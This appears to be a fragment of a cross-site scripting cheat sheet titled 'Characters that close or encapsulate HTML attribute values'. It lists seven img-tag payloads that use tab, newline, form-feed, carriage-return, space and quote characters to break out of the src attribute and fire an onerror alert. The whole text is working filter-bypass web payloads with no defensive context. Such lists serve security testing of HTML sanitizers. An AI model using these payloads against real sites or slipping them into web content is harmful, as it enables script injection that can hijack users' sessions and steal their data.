Characters that close or encapsulate HTML attribute values

<img src=0x09x0x09onerror=alert(9)>

<img src=
x
onerror=alert(10)>

<img src=0x0Cx0x0Conerror=alert(12)>

<img src=0x0Dx0x0Donerror=alert(13)>

<img src= x onerror=alert(32)>

<img src="x"onerror=alert(34)>

<img src='x'onerror=alert(39)>